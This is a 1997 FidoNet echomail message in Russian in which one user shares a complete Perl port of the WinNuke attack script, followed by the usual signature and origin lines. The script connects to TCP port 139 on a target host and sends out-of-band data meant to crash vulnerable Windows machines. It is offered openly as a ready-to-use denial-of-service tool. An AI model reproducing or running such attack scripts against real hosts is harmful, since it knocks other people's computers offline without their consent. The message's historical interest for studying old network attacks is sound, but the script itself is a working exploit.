Hail Egor!
Time, what is time? It was 03/11/97 16:55.
Somewhere far beyond Egor Egorov wrote to All:
>> Дома нету, однако, посмотрю, если на работе есть - пошлю аттачем.
EE> Та ну вас - такие разговоры из-за 70 строчек.
Ты предлагаешь мне _самому_ это написать? Так я не программер.
А вот и перл:
=== Cut Here. Begin Winnuke ===
#!/usr/share/perl
# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci
use strict; use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n";
}
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n";
close S;
=== Cut Here. End Winnuke ===
Die in peace,
Konstantin Zhilenko | Konst@onyx.kiev.ua | http://www.fonon.kiev.ua/~vagabond
[BG Fans Team] [Team OS/2] [TeamIScream]
■ Предлагаю установить прижизненный памятник на родине героя -- в виде
никелированного кернела от Linux'а, размером в 4Мега. (C) Archer
--- GoldED/2 2.50+
* Origin: Heavy metal or no metal at all... (2:463/113)
-- end of forwarded message --